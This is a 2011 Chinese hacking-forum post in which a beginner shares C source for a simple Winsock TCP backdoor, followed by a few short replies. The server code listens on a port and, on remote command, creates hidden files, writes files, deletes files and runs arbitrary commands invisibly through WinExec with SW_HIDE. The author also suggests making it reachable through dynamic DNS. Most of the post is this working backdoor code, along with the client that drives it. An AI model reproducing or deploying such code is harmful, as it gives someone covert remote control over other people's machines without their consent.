首页
社区
课程
招聘
[旧帖] [原创][申请邀请码]winsock实现简易后门 0.00雪花
发表于: 2011-3-18 02:11 1402

[旧帖] [原创][申请邀请码]winsock实现简易后门 0.00雪花

2011-3-18 02:11
1402
这是小菜使用winsock编写的一段C/S程序,使用TCP协议,实现了简陋的后门,
当然大家要是有想法的话可以吧这个程序进一步完善。
程序的功能:
创建文件
写入文件
删除文件
执行命令
当然,小菜我设计的不够好,有些功能重复了。
比如说就不需要创建文件了。直接写入文件。在写入文件的时候直接总是方式创建。
还有服务器连接这里,可以做成域名解析类型的。
使用花生壳动态域名解析下本地进行更新DNS记录。
过多的我不说了,毕竟我还是小菜。

哦最终要的是我想要个邀请码。大大给个吧。
代码附上。
也希望大家能提些建议呀!
下面简单的介绍下我的挫作。
//head.h
/*****************************************
数据包头文件,定义了数据包的格式
*****************************************/
#ifndef _HEAD_H_
#define _HEAD_H_

#define WSADATA_LOW                2
#define        WSADATA_HIGH        2
#define PORT                        1026

typedef struct _MESSAGE
{
        char        OpeCode;                //操作指令
        char        FileName[256];        //操作文件时的文件名
        char        Content[1024];        //写入文件的内容
} MESSAGE, *PMESSAGE;

#endif

Server端代码:
//几个功能函数
void NewFile(char *);                        //新建文件
void InputFile(char *, char  *);        //写入文件
void DelFile(char *);                        //删除文件
void Exec(char *);                                //执行命令 winexec执行的

主要代码:
WSADATA wsaData;
        SOCKET SKBind,SKLink;
        SOCKADDR_IN SAServer,SAClient;
        int addr_len = ADDR_LEN;
        MESSAGE Msg;
       
       
        if(WSAStartup(MAKEWORD(WSADATA_LOW,WSADATA_HIGH),&wsaData)) //装载Winsock库
        {
                printf("WsaStartup Err!\n");
                return;
        }            
       
        SKBind = socket(AF_INET, SOCK_STREAM,IPPROTO_TCP); //创建套接字
        if(SKBind == INVALID_SOCKET)
        {
                printf("Create socket Err!\n");
                return;
        }

        SAServer.sin_family = AF_INET;
        SAServer.sin_addr.S_un.S_addr = INADDR_ANY;
        SAServer.sin_port = htons(PORT);
        if(bind(SKBind,(SOCKADDR *)&SAServer,sizeof(SAServer)))   //绑定套接字
        {
                printf("Bind Server Err!\n");
                return;
        }
        if(listen(SKBind,3))                                                        //监听
        {
                printf("Listen Err!\n");
                return;
        }
       
        SKLink = accept(SKBind,(SOCKADDR *)&SAClient,&addr_len);        //接受连接

        if(SKLink == INVALID_SOCKET )
        {
                printf("Err Occur!\n");
                return;
        }
        while(true)
        {
                memset(&Msg,0,sizeof(Msg));
                if(recv(SKLink,(char *)&Msg,sizeof(MESSAGE),0) != sizeof(MESSAGE))  //接收数据
                {
                        printf("Error Occur!");
                        return;
                }
                switch(Msg.OpeCode)
                {
                case 'C':
                        NewFile(Msg.Content);
                        printf("New File OK!\n");
                        break;
                case 'I':
                        InputFile(Msg.Content,Msg.FileName);
                        break;
                case 'D':
                        DelFile(Msg.Content);
                        break;
                case 'E':
                        Exec(Msg.Content);
                        break;
                case 'Q':
                        break;
                default:
                        break;
                }
        }
        closesocket(SKBind);    //关闭套接字
        closesocket(SKBind);
        WSACleanup();                //卸载Winsock库

//几个功能函数的实现
void NewFile(char * filename)
{
        HANDLE filehandle;
        filehandle = CreateFile(filename,
                GENERIC_WRITE,
                FILE_SHARE_READ,
                NULL,
                CREATE_ALWAYS,
                FILE_ATTRIBUTE_HIDDEN,
                NULL);
        CloseHandle(filehandle);
}
void InputFile(char *content, char *filename)
{
        HANDLE filehandle;
        filehandle = CreateFile(filename,
                GENERIC_WRITE,
                FILE_SHARE_READ,
                NULL,
                CREATE_ALWAYS,
                FILE_ATTRIBUTE_HIDDEN,
                NULL);
        DWORD dwWrite = 0;
        WriteFile(filehandle,(LPCVOID)content,sizeof(content),&dwWrite,NULL);
        CloseHandle(filehandle);

}
void DelFile(char *filename)
{
        DeleteFile(filename);
}
void Exec(char * command)
{
        WinExec(command,SW_HIDE);
}

Client端代码:
上面的我都注释很多了。这里就不做注释了。
关键的地方我提及下。
SOCKET SKLink;
        WSADATA wsaData;
       
        SOCKADDR_IN SALink;
        if(WSAStartup(MAKEWORD(WSADATA_LOW,WSADATA_HIGH),&wsaData)) //装载Winsock库
        {
                printf("WsaStartup Err!\n");
                return;
        }     

        SKLink  = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);                //创建套接字
       
        SALink.sin_family = AF_INET;
        SALink.sin_addr.s_addr = inet_addr("127.0.0.1");               
        SALink.sin_port = htons(PORT);
        if(connect(SKLink,(SOCKADDR *)&SALink, sizeof(SALink)))                //连接server端
        {
                printf("Connect Err!\n");
                return;
        }

       
        MESSAGE Msg;
       
        while(true)
        {
                memset(&Msg,0,sizeof(MESSAGE));
                Msg.OpeCode = getchar();
               
                switch(Msg.OpeCode)
                {
                case 'C':
                        printf("input new filename. \r\n");
                        scanf("%s",Msg.Content);
                        break;
                case 'I':
                        printf("input your filename. \r\n");
                        scanf("%s",Msg.FileName);
                        fflush(stdin);
                        printf("input your content. \r\n");
                        scanf("%s",Msg.Content);
                        break;
                case 'D':
                        printf("input your filename. \r\n");
                        scanf("%s",Msg.FileName);
                        break;
                case 'E':
                        printf("input your command. \r\n");
                        scanf("%s",Msg.Content);
                        break;
                case 'Q':
                        goto end;
                default:
                        break;
                }
                if(send(SKLink,(char *)&Msg,sizeof(struct _MESSAGE),0) == SOCKET_ERROR)  //发送消息
                {
                        printf("Err Occured!");
                        goto end;
                }
        }
end:
        closesocket(SKLink);
        WSACleanup();

PS:各位大大们尽情的拍我吧。

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (4)
雪    币: 12
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
忘记上传资料和代码了,不好意思呀。。
socket编程打造简易后门.zip
上传的附件:
2011-3-18 02:27
0
雪    币: 437
活跃值: (110)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
3
如果没什么创意的话要申请邀请码是比较费劲的
2011-3-18 04:15
0
雪    币: 39
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
已经很不错啦。。。。。。。。。。。。。
2011-3-18 09:22
0
雪    币: 39
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
确实没什么新意,就是实现了个通信。
2011-3-18 09:27
0
游客
登录 | 注册 方可回帖
返回
//